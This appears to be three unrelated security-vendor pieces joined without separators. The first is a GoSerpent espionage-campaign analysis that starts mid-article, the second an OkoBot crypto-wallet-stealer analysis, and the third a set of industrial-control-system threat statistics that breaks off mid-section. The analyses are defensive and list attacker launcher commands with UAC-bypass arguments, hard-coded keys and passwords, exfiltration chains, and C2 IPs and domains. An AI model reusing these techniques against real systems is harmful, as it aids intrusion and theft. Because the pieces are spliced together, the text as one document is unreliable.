What makes this threat particularly concerning is the strategic deployment of various tools with sophisticated data collection and exfiltration capabilities.

In this article, we introduce the malicious tools uncovered by us, which have been used since late 2025.

Technical details Initial phase of the attacks

The initial phase of the attacks involved deployment of the GoSerpent backdoor, followed by additional malicious tools. During this phase, the main goal was to collect sensitive files and store them for future exfiltration, which was done by a data collecting tool, ThumbcacheService. The attackers also needed system credentials to exfiltrate the collected data through network drives at a later stage. This was achieved through a number of credential dumping tools deployed in this phase via the GoSerpent backdoor.

GoSerpent backdoor

The primary weapon in this campaign is the GoSerpent backdoor, a sophisticated Go-based remote access Trojan that has been active since at least 2021, with the most recent variant deployed in 2026.

This malware receives encrypted and base64-encoded command-line arguments containing a C2 server address and communication password, which are decrypted using AES-CBC mode with a fixed IV (31323334353637383930616263646566) and keys derived from predefined strings.

The backdoor connects to command-and-control servers using ChaCha20 encryption for communications, with the SHA256 hash of the communication password serving as the encryption key.

GoSerpent supports multiple C2 commands by receiving special command values. The commands include the following:

Command Symbol (as derived from corresponding function names) Description 2BA1 Sync Respond to the server to show the infection is active 3BA2 Exit Exit process 4BA3 Ls Start listening on a port 5BA4 Connect Connect to a remote server 6BA5 Hello Create a shell on the infected machine 7BA6 Ul Upload a file or directory to the server 8BA7 Dl Download from the server 9BA8 Ss5 Start a SOCKS5 proxy on the infected machine ABA9 Cl Close a listening port CBAB RF Forward to a connected node

GoSerpent can establish SOCKS5 proxy servers to route traffic through compromised hosts, enabling attackers to access other networks while masking their true IP addresses. The backdoor is capable of deploying additional malicious tools, including ThumbcacheService for file collection, Mimikatz for credential dumping, and QuarksDumpLocalHash for local account password hash extraction. The malware exhibits strong persistence mechanisms and uses filenames that mimic legitimate system processes such as lass.exe and updates.exe to evade detection.

McMx RAT

McMx is a basic Go-based proxy and remote access tool that represents a simpler variant of the GoSerpent backdoor, apparently compiled from a different GitHub repository path.

Unlike the latest variant of GoSerpent, which uses encrypted command-line arguments, McMx receives input parameters from text files in plaintext format — in a way that resembles older versions of GoSerpent. The malware features similar function names with apparent typos present in both tools.

Before executing McMx, attackers manipulate batch files to generate configuration files containing C2 parameters. The patterns observed show the use of echo commands to create configuration files with parameters like remote host addresses, ports, and secret keys. The McMx malware is then deployed with this configuration.

The tool shares core functionalities with GoSerpent, including:

• SOCKS5 proxying
• port forwarding
• file transfer
• remote shell capabilities

Data collection and credential dumping tools

Following initial deployment of the GoSerpent backdoor, attackers typically wait several days before utilizing it to download and execute additional malware components for data collection and credential dumping.

ThumbcacheService

ThumbcacheService is a malicious DLL deployed as a Windows service that functions as a sophisticated file collection mechanism within the GoSerpent ecosystem. The malware employs XOR encryption with a single-byte key of 0x13 for string obfuscation. It decrypts embedded strings and creates a database file named thumbcache_605a.db in the C:\Users\Public\ directory to store collected sensitive files. It specifically targets documents with the following extensions: .doc, .docx, .pdf, .xls and .xlsx.

The targeted files are then archived using 7-Zip and protected with a predefined password @vx0a9n5W2M0c3D6.#, enforcing a 20MB size limit for archives.
The malicious service also monitors the $Recycle.Bin directory for deleted files with the extensions of interest, ensuring comprehensive data collection.

Credential dumping tools

The threat actor deploys the following tools via GoSerpent backdoor to dump credentials:

1. Mimikatz — dumps memory from the LSASS process to extract credential material, including cached credentials and Kerberos tickets.
2. QuarksDumpLocalHash — extracts local account password hashes from the SAM registry hive, allowing for offline password cracking attacks.

These tools work together to maximize information extraction from compromised systems. The stolen credentials were used in later stages of the attack to facilitate the exfiltration of sensitive files collected by ThumbcacheService.

Second stage of the attacks

After the initial phase of the malware deployments, the attackers allowed a few weeks for the ThumbcacheService to silently collect sensitive files without exfiltrating them. In the meantime, the credential dumping tools also continued to steal credentials. In May 2026, the threat actor came back with a set of new tools. The main malware of this round of activity was another Go-based RAT and proxy tool, Stowaway. It was used to deploy the two-stage data exfiltration tool TmcLoader/TmcPayload, which was the last piece of the data theft puzzle.

Stowaway

Stowaway is a proxy and remote access tool compiled from an open-source framework with customized functions to make the infection stealthier. This malware features both network admin and agent capabilities, enabling attackers to establish chained proxy paths across multiple hosts with the following functionalities:

• SOCKS5 proxying
• port forwarding
• reverse tunneling
• remote shell access
• file transfer
• SSH-based tunneling

Communications are transported over TCP, HTTP, or WebSocket channels protected by AES-256-GCM or TLS encryption.
As the next step, the attackers deliver two files to the victim machine via Stowaway:

• TmcLoader with an embedded payload
• {BBF061R2-BE25-4F6D-8B2D-1A6A39C3FSA2}.db — an encrypted configuration file

TmcLoader/TmcPayload

TmcLoader is a stealthy C++ loader module registered as a Windows service. The malware embeds an encrypted payload dubbed TmcPayload within its .data section, which is decrypted and loaded into the memory space of the svchost process to maintain persistence and avoid detection.

TmcLoader employs dynamic API resolution through a circular XOR encryption, where each byte is XORed with the value of the subsequent byte, combined with Base64 encoding for string obfuscation to hide API names.

The loader creates a unique event to prevent multiple infections on the same system. After that, it extracts and decrypts the embedded TmcPayload. This payload component is responsible for exfiltrating sensitive data from the victim’s machine.

TmcPayload generates a file path from an obfuscated string: C:\Users\Public\Libraries\{BBF061R2-BE25-4F6D-8B2D-1A6A39C3FSA2}.db.

It then checks for the existence of this configuration file. If the file doesn’t exist, it delays execution for a random period of time before rechecking. The configuration file contains encrypted network share credentials and destination paths for data exfiltration. It specifically references the thumbcache_605a.db file created by ThumbcacheService as the file to be exfiltrated, demonstrating the integrated nature of the attack chain.

Toolset integration

What distinguishes this threat actor’s approach is the deliberate integration between different components of their toolset. The chain from ThumbcacheService to TmcLoader/TmcPayload demonstrates sophisticated operational planning:

1. ThumbcacheService: deployed via GoSerpent, collects and archives sensitive files into the thumbcache_605a.db database file.
2. Credential dumping tools: deployed via GoSerpent to retrieve system credentials.
3. Configuration file: delivered via Stowaway, contains credentials and file paths for data exfiltration.
4. TmcLoader/TmcPayload: deployed via Stowaway, reads the configuration file for data exfiltration.
5. Data transfer: using network credentials and destination paths from the configuration file, TmcPayload transfers the exact same thumbcache_605a.db.

This integration shows that the threat actor has carefully orchestrated their tools to work together seamlessly, ensuring that data collected by one component is available for exfiltration by another component.

Infrastructure

The malware operators leverage legitimate hosting providers, including Alibaba Cloud and UCLOUD HK, for their command-and-control infrastructure. The use of legitimate hosting platforms demonstrates operational security awareness, making detection more challenging.
The technical similarities between GoSerpent and the newer Stowaway tools strongly suggest the threat actor’s deep familiarity with network proxy technologies. The consistent use of legitimate domain names as secret keys, with GoSerpent employing www.microsoft.com and www.spacex.com and Stowaway utilizing github.code, indicates a standardized operational methodology.

Attribution

While the exact attribution of the GoSerpent campaign remains uncertain, there are indications of a potential link to the TetrisPhantom threat actor. The similarities in victim targeting, technical capabilities, and operational methodologies suggest a possible connection. However, further investigation is necessary to confirm this association.

Conclusion

The GoSerpent campaign represents a sophisticated and evolving threat to government and diplomatic entities in Southeast Asia. The threat actor’s use of customized tools, such as the GoSerpent backdoor, Stowaway, and TmcLoader, demonstrates a high degree of technical expertise and operational planning. The integration of these tools to collect and exfiltrate sensitive data highlights the actor’s focus on long-term access and intelligence gathering. As the threat landscape continues to shift, it is essential for organizations to remain vigilant and implement robust security measures to detect and prevent such attacks. By understanding the tactics, techniques, and procedures (TTPs) employed by this threat actor, defenders can better prepare themselves to counter similar threats in the future.

Indicators of compromise File hashes

GoSerpent
EBFFD5A76AAA690BCDB922F82E0BACC5
DC506FF7BB72735444FB3703A6BEE6D8

McMx
D6E86BF8A90E9B632ADD5FA495F97FBC

ThumbcacheService
CB6C4C70A3B171FA3404B8E1A3382116
64E9D1950E42BC98486DFD9919463D1C

Stowaway
CBBB6D483737EA3566726E51752DFF40
7F223EE0716CE2AD56F55D3744419449
19F8BEFCB035F52BF70094E6B4F5779A
846EF7C1C7323849B2A778C5E4CDA162

TmcLoader
D08A059E8B815E3B891505BC8777FC28
93A1569D5D5AB2C4761FEDF84F83709E

C2 IP addresses

152.32.160[.]239
8.220.194[.]108
8.220.214[.]132
8.220.209[.]155
8.220.193[.]189
101.36.104[.]87
144.48.6[.]46
103.138.13[.]30
47.80.22[.]58
152.32.222[.]113
43.106.30[.]226

Introduction

In January 2026, we identified multiple attacks involving unknown malware that captures the contents of cryptocurrency wallet windows. During the investigation, we reconstructed the complete infection chain, which consisted of four tightly linked stages initiated by the execution of the previously described malicious PowerShell script TookPS. However, this campaign differs from previous activity in that it uses a new framework to deliver all malicious modules and orchestrate them via an SSH tunnel. In total, the framework includes more than 20 malicious payloads and implants, covering a wide variety of functions. At the time of writing, the threat remains active.

Kaspersky’s products detect this threat as Trojan-Downloader.Win32.TookPS.*, Trojan.Win64.BypassUAC.*, Trojan-Banker.Script.Agent.gen, Trojan.Win32.Dllhijack.*, Backdoor.Win32.TeviRat.*, Trojan-PSW.Win64.Stealer.*, Trojan-Spy.Win64.Keylogger.*, Trojan-Spy.Win64.Agent.*, Trojan.Win64.Agent.*.

Background

TookPS is a downloader used for retrieving malicious commands and scripts from attacker-controlled servers to further propagate attacks. The first campaign using TookPS was discovered in March 2025. At that time, malicious scripts delivered a Python‑based infostealer along with a script that installed and configured an SSH tunnel on the victim’s machine. The next wave appeared in April 2025: the payload was changed, and TookPS was used to deliver the TeviRAT malware with the same SSH installer.

Then at the end of April 2025, TookPS underwent minor changes, yet its attack chain was completely redesigned. Unlike previous incidents, in this case, TookPS was used solely for the initial infection, with an automated SSH bot responsible for payload delivery. This new malicious campaign has multiple stages that cover the full attack lifecycle, from initial infection to persistence and data exfiltration. Among various malware strains, at one of the stages, the TeviRAT backdoor is delivered to the compromised host, ultimately fetching another version of a TookPS script.

We dubbed this updated TookPS campaign “OkoBot”.

Original OkoBot infection chain

We will break down this chain in greater detail later in the article. However, this is not the only version of OkoBot we were able to find. Already in March 2026, we discovered a new phase in the development of the framework, with Volume2 now being installed directly using TookPS. The HDUtil launcher → extl injector → Rilide chain was found to be abandoned in this newer version since it was replaced in full by the identical ext_daemon Volume2 plugin. TeviRAT was also removed, most likely because its functions were covered by the new plugins dispatcher.

New OkoBot infection chain

Initial infection

The initial infection is primarily delivered through two vectors: a ClickFix attack, and malware distributed through GitHub that masquerades as legitimate software. One such example is the fake SQL Server Management Studio (SSMS) package distributed through GitHub. In fact, it is actually the legitimate Audacity — a popular audio editor — compiled with a malicious implant embedded in one of its libraries. Because the repository was indexed by most search engines and appeared at the top of the results for the query SSMS, the malware looked legitimate and quickly earned users’ trust.

Malicious application distribution report

This repository was created at the end of March 2025 and existed until June of that year. It consisted of a single file, README.md, which provided a fake SSMS installation guide written in an official style and likely derived from excerpts of Microsoft’s documentation. However, the download link for the program, located at the beginning of the guide, pointed to the latest release in the same repository.

Both infection vectors trigger the execution of the malicious script TookPS, which installs SSH on the victim’s system, establishes a connection to the attacker-controlled SSH server and subsequently forwards the SSH daemon port. Following a delay, an automated SSH bot connects to the forwarded port.

Back connection

The automated SSH bot collects system information such as usernames, antivirus software installed, the IP address, and OS version. It harvests cryptocurrency wallet files, browser cookies, profiles, and other credentials through an SSH tunnel. For subsequent delivery of malicious modules, it disables Windows Defender notifications via a registry modification. Moreover, it gains access to the graphical session on the victim’s system using the following sequence:

1. Open firewall ports for inbound RDP traffic
2. Create a user in the “Remote Desktop Users” group
3. Replace the legitimate termsrv.dll with a patched one to permit multiple concurrent RDP sessions
4. Create a scheduled task named Apple Sync to maintain a reverse SSH tunnel that forwards the local RDP port every hour

After that, the SSH bot begins retrieving malicious modules over SFTP.

Launcher with advanced options

One of the deployed modules is HDUtil, an auxiliary utility protected with VMProtect and heavily obfuscated. This launcher is used by the SSH bot during an attack to deploy various malicious modules via the target command. Additionally, it implements three auxiliary commands that were not observed during the attacks we analyzed. Nevertheless, their presence and potential capabilities further demonstrate the high degree of integration among all components of the framework.

Active sessions

At startup, the launcher verifies its execution environment by checking the HWID in the contents of %PROGRAMDATA%\hwid.dat, a technique consistently employed throughout the framework. If the file is missing or contains invalid data, such as a non‑MD5 hash, the launcher terminates without performing any further actions. Otherwise, the specified commands are executed. For example, enumsessions provides a list of sessions along with detailed information, including the session type (Console, Services, RDP, and others), username, connection host, and domain. In turn, enumadapters returns the names of all graphics adapters present on the system.

Example output of HDUtil enumeration commands

UAC bypass

The most important command of the launcher is target, which enables payload execution on the system. An optional nouac argument enables automatic UAC bypassing via Windows RPC and an auto-elevated msconfig.exe program, allowing the payload to run with elevated privileges stealthily. This technique has been known for a long time, discovered and described in 2019 by the Project Zero team, who provided a full report with a detailed technical description.

Below is the list of all HDUtil commands.

Command Description target [nouac [user=<user>]] [noattach] <file> Starts file and prints its output.
If optional argument noattach passed, command to be executed in background.
If optional argument nouac passed, automatic UAC bypass to be performed.
If optional argument user passed, new process to be executed under , otherwise default local administrator to be chosen. pcopy <file> <dir_src> <dir_dst> Copies file <file> located in <dir_src> to <dir_dst>. Not used by SSH bot. enumadapters Prints names of graphical adapters on current system. Not used by SSH bot. enumsessions Prints all sessions on current system. Not used by SSH bot. Browser extensions loader

The first malicious module delivered to the infected system via SFTP is executed using the previously described launcher with the command .\HDUtil.exe target extl.exe. It is a heavily obfuscated DLL injector protected with VMProtect. At startup, the module enters an infinite loop and uses the EnumWindows and IsWindowVisible API methods to enumerate the PIDs of active windows and retrieve the corresponding executable filenames. For processes associated with widely used Chromium‑based browsers, the module invokes a routine that injects a specialized implant.

The injector opens a process, allocates a memory region, and writes the payload directly into this region as unencrypted raw bytes. Then it resolves two exported implant functions, LdrInitMain and LdrCallMain, based on a pre-specified hash derived from a modified version of DJB2 hash function. The first function performs the final PE unpacking, including rebase operations and the initialization of the import and exception tables. The second function directly initiates malware execution.

Setting up protections on the regions and launching the implant

This loader installs malicious browser extensions and hides them from the user. It uses an internal engine that resolves the addresses of stripped functions by analyzing the byte patterns of their calls using YARA-style syntax. This approach enables the malicious code to access critical Chromium engine functions required for extension installation and management. This functionality is also implemented for other browsers with appropriate modifications. For example, in the case of Microsoft Edge, the corresponding DLL msedge.dll is hooked using the specific patterns.

List of the functions hooked by the malware

Using the obtained address of the BrowserProcess object, the loader traverses the inheritance hierarchy and subsequently resolves a pointer to the function responsible for registering observers of browser‑window creation, specifically ProfileManager::BrowserListObserver::OnBrowserAdded. With a specialized built‑in engine, they are hooked using the attacker’s own implementations while preserving the original function’s address.

The loader replaces the functions it finds with its own

When a new Chromium window is opened, a hooked function is invoked that silently installs extensions. This routine scans the user’s %APPDATA% directory, loads all .crx files (Chromium-based browsers extension format), and records them in the ext_table. The extensions are then installed in the browser.

During installation, the extension is unpacked into a non‑default extensions directory, Local Extension Settings, and its manifest is dynamically modified. An object named custom_args is added, containing the fields hwid (the identifier of the infected system) and browser (the name of the browser in which the extension is installed). Then, using previously resolved internal functions of chrome.dll, the extension is installed and all requested permissions are granted.

Extensions are unpacked into a non-default directory

All extensions loaded in this manner are added to a special array to be subsequently identified among regular extensions and to remain hidden from the user.

The remaining patched functions are used to hide the installed malicious extensions from the user. When invoked with registered extensions as parameters, they perform no operation and return a constant value. This enables the threat actor to suppress notifications related to the malicious nature of the extensions and to exclude them from the displayed list of installed extensions. As a result, the behavior of other extensions remains unaffected.

Stub for hiding malicious extensions

During the attack, the Rilide extension was installed on the victim’s system using the previously described loader. Rilide is a stealer targeting Chromium-based browsers that has been frequently used by Russian-speaking threat actors since April 2023. The malware is designed to steal sensitive user data, including login credentials, cookies, and financial information, with a specific emphasis on cryptocurrency theft.

Plugins dispatcher

The final module delivered via SFTP is an open-source utility called Volume2, which is executed with elevated privileges using the command .\HDUtil.exe target nouac noattach Volume2.exe. The executable was linked with the malicious protobuf.dll library. Although the library seems identical to the legitimate DLL, it has been modified to include a malicious exported function, ProtobufGetVer2. This function decrypts and initiates a malicious implant. The payload is encrypted using AES GCM, initialized with a static 256‑bit key and a 96‑bit nonce. The GCM authentication tag is omitted, resulting in the absence of integrity verification. Starting in March 2026, the name of protobuf.dll was changed to version.dll, although its contents remained a modified ProtoBuf library.

Decrypting implant using AES GCM and subsequent mapping

The loaded implant functions as a malicious plugin dispatcher. Upon initialization, it reads and verifies the HWID before establishing communication with the C2 server via the HTTP protocol. Each request follows a predefined binary format: a 2-byte numeric bot identifier encoded in little-endian format, followed by an AES CBC-encrypted JSON object. By default, the BotID is set to 0, and the key and IV consist of 32 and 16 bytes of 0xff, respectively. The implant polls the server every 20 seconds to retrieve new commands. The request contains client data encoded in Base64, and the server may respond with a command containing three mandatory fields: TaskIndex (the command number from the dispatcher), TaskID (a unique task identifier), and HWID (the client identifier). The dispatcher supports four built-in commands:

Task index Action 1 Reconfigure client: update session keys, assign ID, switch to another C2 2 Load DLL implant into memory and run its entry point 3 Load plugin into process and register tasks with RegisterPlugin function 4 Restart dispatcher as new process x If the task number is none of the above, search for it among the registered plugins

Each plugin is required to export two functions: RegisterPlugin and PluginDispatch. These functions are used to manage and configure plugins. The RegisterPlugin function registers the plugin’s tasks with the dispatcher, whereas the PluginDispatch function is invoked when the plugin is called. Both these functions, as well as other external API functions, are located within the base libraries using one algorithm. This algorithm iterates through the export table and uses a specialized callback that calculates the MurmurHash3 hash and compares it against the target value to identify the appropriate function.

Resolving a plugin initialization function

During the analysis, we were able to discover five plugins that implement functions under their unique task identifiers.

• CMD wrapper (10xx): allows running scripts and individual commands in cmd.
• PowerShell wrapper (11xx): allows running scripts and individual commands in PowerShell.
• Environment enumerator (12xx): gathers system information, active sessions, and processes.
• Dropper (14xx): downloads an additional payload directly onto the system both from embedded Base64-encoded binary blob and via URL.
• Process injector (16xx): launches additional malicious implants on the target system by injecting them into legitimate processes.

We identified four malicious implants that are delivered to the system via the process injector plugin.

ext daemon

The malware is functionally identical to the browser extensions loader (extl.exe) described above, but less obfuscated and not protected with VMProtect.

SeedHunter

Similarly to extl.exe, this malware monitors the list of active processes in the system and injects an implant into Trezor Suite, Ledger Wallet, and Ledger Live processes. The implant is malware that collects seed phrases of Ledger and Trezor cryptocurrency wallets. Initially, it verifies the HWID, and if it fails, it terminates immediately. Then, based on the value of BaseDllName, the malware determines the process context and uses the corresponding implementation for either Trezor or Ledger. It then utilizes the previously described technique to hook the internal Electron framework functions.

List of functions hooked by the malware

Then the malware communicates with the C2 (moonsand[.]store) over HTTPS, sending a Base64-encoded JSON request containing the fields Pid, HWID, and Build. In response, it receives a JSON payload containing the Wait flag. If this flag is set to true, the malware initiates periodic USB device scans filtered by VID and PID (Vendor and Product ID). Upon detecting a connected Trezor or Ledger hardware wallet, it invokes the hooked functions to display a hard‑coded phishing page designed for seed phrase recovery, with a distinct layout used for each identified wallet. If the Wait flag is set to false, the phishing page is displayed immediately.

When the seed phrase is entered and validated, the JavaScript code of the page outputs the phrase to the console prefixed with @:app:print. This prefix helps identify the malware messages in the hooked function mal_LogConsoleMessage.

Phishing pages for seed phrase recovery

The obtained seed phrase is subsequently sent to the C2 server within a JSON payload containing fields such as App (ledger or trezor), Build, DeviceName, DeviceHardwareId, and SeedData. Furthermore, an identical JSON, encrypted with the RC4 algorithm using the HWID as the key, is saved in a temporary directory under the filename sh_<ts>.json, where <ts> is the file creation timestamp.

MC Keylogger

This module is a keylogger that, in addition to recording user input, performs three malicious activities:

1. Clipboard logging: periodically checks various clipboard formats, including CF_HDROP for files dragged between windows, CF_DIB for copied bitmap images, and CF_UNICODETEXT for Unicode text. Each format is handled appropriately, and all copy events are logged under the Clipboard section. Text data is written directly to the log, while copied files are recorded by their file paths. Images are saved as JPG files following the naming pattern bf_YYYY-MM-DD hh_mm_ss.jpg, and the path to the saved image is added to the log.
2. Logging connected devices: logs information about USB devices connected to the system, including hardware characteristics like VID, PID, manufacturer, and other details.
3. Screenshot creation: creates a screenshot every five minutes with a name in the format sc_YYYY-MM-DD hh_mm_ss.jpg. A corresponding message is recorded in the log under the Screenshot section, including the path to the screenshot.

Thus, the keylogger creates three types of different file artifacts, which are placed in a temporary directory. Below is an example of a log file generated by the keylogger.

Example of the keylogger log file

OkoSpyware

This module, which we dubbed OkoSpyware, captures both keystrokes and the video stream of the target application’s window. It first compiles a list of over 100 executable names, including cryptocurrency wallet applications (such as Exodus or Litecoin QT), password managers (such as KeePassXC or 1Password), and other widely used applications, to identify which processes should be monitored among all active system processes. For each identified process, the module uses a bundled FFmpeg instance to capture an MP4 video of the window while concurrently logging keystrokes within that window. The resulting video file is saved in %TEMP% as media_<ts> (where <ts> is the recording’s start timestamp). In the same folder, a JSON file named oko_<ts>.json is created, containing metadata about the captured stream, such as the process name, intercepted input, the stream’s MD5 hash, and additional details.

Example of an OkoSpyware metadata file

The malware also monitors the state of browsers, and when the window title matches a specified regular expression — for instance, a MetaMask or Tonkeeper wallet extension page — it performs video recording and input logging, adding the window title value to the corresponding field in the JSON metadata file.

Artifacts exfiltration

The TookPS script launched via a scheduled task receives a PowerShell exfiltration script as its payload from the C2. All files created by the MC Keylogger and OkoSpyware are sent to the C2 server to the endpoint ir-post.php. After that, the files are deleted from the victim’s system and a command history file, ConsoleHost_history.txt, is cleared.

Sequential exfiltration of artifacts from the temporary directory

Victims

At the time of writing, we have detected hundreds of victims of the OkoBot campaign in more than 25 countries, with the largest proportion of attacked end users found in Brazil, Vietnam, Canada, Mexico, and Türkiye.

Distribution of users attacked by OkoBot by country, April 2025–June 2026 (download)

Attribution

At the time of writing, we can’t attribute this malicious campaign to any known crimeware actor. However, during the analysis, we observed that the servers hosting the PowerShell scripts used in the initial infection stage implement server-side geoblocking. When attempting to retrieve the malicious script using an IP from Russia or CIS countries, the server returns an empty response. This technique is very popular among Russian-speaking threat actors.

It was previously mentioned that the campaign uses the malicious Rilide extension, an infostealer that is actively spreading on Russian-speaking, invitation-only cybercrime forums. Additionally, the source code of the SeedHunter phishing pages includes comments in Russian.

Conclusion

The framework described here has numerous modules — mostly written in C and C++ — that are obfuscated and use a variety of packing techniques. Across all stages, specific patterns and techniques can be identified that are borrowed and used in other modules, which allows us to conclude that there is a close interconnectedness among all stages, forming a full‑fledged high‑level framework. Overall, these modules enable a wide range of functions, such as collecting local files, executing remote commands, downloading arbitrary browser extensions, and stealing crypto wallets.

The OkoBot campaign has been ongoing for over a year, and it remains active at the time of publication. Moreover, it is adapting, which indicates that this framework is being maintained and distribution campaigns continue.

Indicators of compromise

Additional information about this threat, with a comprehensive IoC list and decryption scripts, is available to customers of the Kaspersky Threat Intelligence Reporting service. Contact: [email protected].

Dispatcher

B07D451EE65A1580F20A784C8F0E7A46 # protobuf.dll
187A1F68AE786E53D3831166DC84E6D2 # protobuf.dll
D84E8DC509308523E0209D3CD3544619 # protobuf.dll
83E6B8FCB92A0B13E109301F8FF649CF # version.dll

Plugins

7306885BB4C98F2A9F056104CF092BC9 # PowerShell wrapper
B4C2E16CDB513BE4DC798F88E2527334 # CMD wrapper
2157D2429124AD28DB7A26F2477CB985 # Environment enumerator
77CECF5E2A622AE07D8AE9913457AB57 # Dropper
E0C3BC27A65750E740C4F1719E531C7D # Process injector

Injector payloads

3D2B43F91F65BFBF36A9C71B6B418876 # ext_daemon.exe
70FEF9FD6E351F4D53CFEEE8DCDFCD99 # seedhunter_x64.exe
ACD31C9941B6C1CABD4E45E6877B9038 # keylog_x64.dll
DD52F5108A176C62AD807C327734AD12 # oko.dll

SSH bot utilities

AC93A821617AEA1F56D4BC0BEF4AF327 # HDUtil.exe
11DBC8A2BEA04B15F8F68F3F01E8FAF9 # extl.exe

File paths

%USERPROFILE%\.ssh\go.bat
%PROGRAMDATA%\HDVideo\HDUtil.exe
%PROGRAMDATA%\hwid.dat
%PROGRAMDATA%\oko_ver
%TEMP%\extl.exe
%APPDATA%\hwid.dat

Domains and IPs

2baserec2[.]guru          # TookPS
recavb22[.]online         # TookPS
kbeautyreviews[.]com      # TookPS
coffeesaloon[.]online     # TookPS
104.243.43[.]16           # SSH bot
104.243.32[.]213          # SSH bot
62.210.188[.]209          # SSH bot
livewallpapers[.]online    # Volume2 C2
thatwascringe[.]com        # Volume2 C2
moonsand[.]store          # SeedHunter C2

All threats

The percentage of ICS computers on which malicious objects were blocked continued to decrease, reaching 19.6% in Q1 2026. This is the lowest value in three years, and it is 1.4 times lower than in Q2 2023.

Percentage of ICS computers on which malicious objects were blocked, Q2 2023–Q1 2026

Regionally, the percentages ranged from 9.1% in Northern Europe to 27.4% in Africa.

Regions ranked by percentage of attacked ICS computers

The percentage of ICS computers on which malicious objects were blocked increased in five regions over the quarter, most notably in Southern Europe, Northern Europe, and Russia.

In Q1 2026, Southern Europe led the way in growth for internet and email threats. The region also saw the fastest growth in spyware, as well as malicious scripts and phishing pages.

In Russia, the percentage of ICS computers on which malicious objects were blocked exceeded the figures for the previous two quarters. Russia saw an increase in the percentage for threats from the internet, and a slight increase in the figure for threats from email clients (Russia is one of three regions where this figure did not decrease).

Among the threat categories, the greatest increases were observed in the percentages for denylisted internet resources, as well as spyware (distributed in the region via the internet and email clients).

Selected industries

Biometric systems (26.4%) traditionally rank top among the industries and OT infrastructure types covered in this report in terms of the percentage of ICS computers on which malicious objects were blocked. These systems are characterized by internet access, extensive email use for data exchange and approvals (such as access granting), and, in many cases, minimal cybersecurity controls within the organizations that use these systems.

Industries ranked by the percentage of ICS computers on which malicious objects were blocked

Biometric systems rank first among industries in terms of email threats. At the same time, unlike other industries, the percentage for email threats in biometric systems exceeds that for internet threats.

In all selected industries, the global average follows a downward trend. In Q1 2026, the percentage of ICS computers on which malicious objects were blocked increased only in the manufacturing sector — by 1.0 pp. The percentages for this industry increased across 10 regions, with the most notable increases in Western Europe, Northern Europe, and Russia.

Threat categories

In Q1 2026, Kaspersky security solutions blocked malware from 10,052 different malware families of various categories on industrial automation systems.

Over the quarter, the percentage of ICS computers on which denylisted internet resources were blocked increased (after decreasing over the previous two quarters), and there was a slight increase in the percentage for AutoCAD malware.

Percentage of ICS computers on which the activity of malicious objects from various categories was prevented

Malicious scripts and phishing pages (JS and HTML)

Malicious scripts and phishing pages retained their to spot among threat categories by the percentage of ICS computers on which these threats were blocked. The global average in Q1 2026 was 6.56%.

Over the quarter, the percentages increased in four regions. The most significant change was observed in Southern Europe (9.85%, +0.94 pp). The figures for malicious scripts in the region increased over three consecutive quarters.

Among the selected industries, across all regions, the highest percentages for the malicious scripts and phishing pages category were recorded for biometric systems (19.59%) and building automation (15.43%) in Southern Europe. These same industries lead in similar rankings for malicious documents and spyware.

Spyware

The percentage of ICS computers on which spyware was blocked decreased over two consecutive quarters, dropping to 3.73%. Despite the decline, spyware has ranked second among threat categories by the percentage of attacked computers for three consecutive quarters.

The percentages increased in five regions over the quarter, most notably in Southern Europe (5.46%, +0.35 pp) and Russia (2.84%, +0.24 pp).

In Southern Europe, the percentage of ICS computers on which spyware was blocked increased in all the selected industries except manufacturing. The greatest increase was observed in biometric systems.

Among the selected industries, the highest percentage of spyware in Russia was recorded in biometric systems. That said, the percentage of ICS computers on which spyware was blocked increased in all industries in the region except construction. The percentage figure has been increasing for two consecutive quarters in the oil and gas industry (by a factor of 1.63 over six months), and for three consecutive quarters in engineering and ICS integration, as well as electric power. In the remaining sectors, the values have been fluctuating.

Percentage of ICS computers on which spyware was blocked in various industries in Russia, Q3 2025–Q1 2026

Denylisted internet resources

The percentage of ICS computers on which denylisted internet resources were blocked increased to 3.54%.

The most notable increase over the quarter occurred in Southeast Asia (4.58%, +0.65 pp). Among the industries in the region, the highest percentage figures for this threat category were recorded in electric power and construction. Over the quarter, the largest increases in percentages figures were observed in the electric power and manufacturing industries.

In North America (Canada), denylisted internet resources (2.14%) showed the greatest increase among all categories — by a factor of 1.22.

Among the selected industries across all regions, the highest percentage figures for the denylisted internet resources category were in the electric power (7.11%) and construction (6.25%) industries in Southeast Asia.

Malicious documents (Microsoft Office + PDF)

The percentage figure for this category decreased over two consecutive quarters, reaching its lowest value (1.56%) for the entire period of observations in Q1 2026. It increased just in two regions: Australia and New Zealand (1.12%, +0.04 pp), and Russia (0.62%, +0.01 pp).

Among the selected industries across all regions, the highest percentages for malicious documents were recorded for biometric systems (9.02%) and building automation (6.97%) in Southern Europe. These same industries also lead in similar rankings for malicious scripts and spyware.

Ransomware

The percentage of ICS computers on which ransomware was blocked has decreased for two consecutive quarters, dropping to 0.14%. This is the lowest value among all categories.

The percentage increased in two regions: North America (Canada) (0.11%, +0.04 pp) and slightly in Northern Europe (0.06%, +0.01 pp).

Among the selected industries across all regions, the highest percentages for ransomware were recorded in the oil and gas and manufacturing industries (0.92% and 0.65%, respectively) in Central Asia and the South Caucasus, and in biometric systems (0.89%) in Russia.

Miners in the form of executable files for Windows

The percentage of ICS computers on which miners in the form of executable files for Windows were blocked decreased to 0.59%.

The percentage increased in seven regions. The largest increase was observed in Africa (0.63%, +0.16 pp). Among the selected industries, the largest increases in the region were in the manufacturing and oil and gas industries.

Among the selected industries across all regions, the highest percentages for miners in the form of executable files were recorded in construction (1.99%), biometric systems (1.98%), and the oil and gas industry (1.97%) in Central Asia and the South Caucasus.

Web miners

The percentage of ICS computers on which web miners were blocked has been declining for a year, and in Q1 2026, it reached the lowest value for the entire period under review (0.22%).

At the same time, the percentage increased in seven regions. The largest increases were observed in South Asia (0.28%, +0.11 pp), the Middle East (0.31%, +0.09 pp), and Africa (0.34%, +0.08 pp). Despite the increases, the percentages in these regions for Q1 2026 did not exceed those observed in 2023–2024 and in Q1 2025.

Among the selected industries across all regions, the highest percentages for web miners were recorded for biometric systems (0.97%) in Russia. Biometric systems in South Asia (0.79%) ranked second, and the electric power sector in Southeast Asia (0.76%) ranked third.

Worms

The percentage of ICS computers on which worms were blocked decreased to 1.33%.

The percentage decreased across all regions following an increase in the previous quarter (due to a wave of phishing attacks that distributed the Backdoor.MSIL.XWorm backdoor worm across all regions of the world).

Among the selected industries across all regions, the highest percentage figure for worms was recorded for biometric systems (4.80%) in Central Asia and the South Caucasus. Two industries in Africa – biometric systems (4.04%) and electric power (3.53%) – took the second and third spots, respectively.

Viruses

The percentage of ICS computers on which viruses were blocked decreased to 1.31%.

